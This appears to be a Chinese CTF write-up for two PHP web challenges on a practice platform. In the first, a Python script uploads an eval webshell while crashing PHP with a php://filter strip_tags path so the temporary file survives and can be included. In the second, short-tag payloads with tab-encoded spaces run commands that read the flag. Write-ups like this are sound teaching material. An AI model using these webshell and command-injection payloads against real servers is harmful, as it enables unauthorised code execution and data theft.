[NPUCTF2020]ezinclude
- 设置name参数,返回的cookie中的值是对应的pass
- 得到
flflflflag.php
,访问发现重定向,抓包查看
得到源码
include($_GET["file"]);
- 扫目录发现
dir.php
,php伪协议读取文件
dir.php
会列出/tmp
所有的文件
这里可以用php7 segment fault
特性:
php://filter/string.strip_tags=/etc/passwd
php执行过程中出现 Segment Fault
,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除
import requests
from io import BytesIO
payload = "<?php eval($_POST['a']);?>"
file_data = {
"file": BytesIO(payload.encode())
}
url = "http://ebfb80aa-4e15-470e-8aa4-14e742b82793.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url,data=file_data,allow_redirects=False)
print(r.text)
- 访问
dir.php
- 利用文件包含执行代码,flag在
phpinfo
中
write_shell(php短标签)
- php短标签
<? ?>
- php中可以用
%09
替换空格
Payload:
- 查看生成文件目录
- 列目录
?action=upload&data=<?echo%09`tac%09/flllllll1112222222lag`?>
- 访问
sandbox/cc551ab005b2e60fbdc88de809b2c4b1/
- 查文件
?action=upload&data=<?echo%09`tac%09/flllllll1112222222lag`?>
- 访问
sandbox/cc551ab005b2e60fbdc88de809b2c4b1/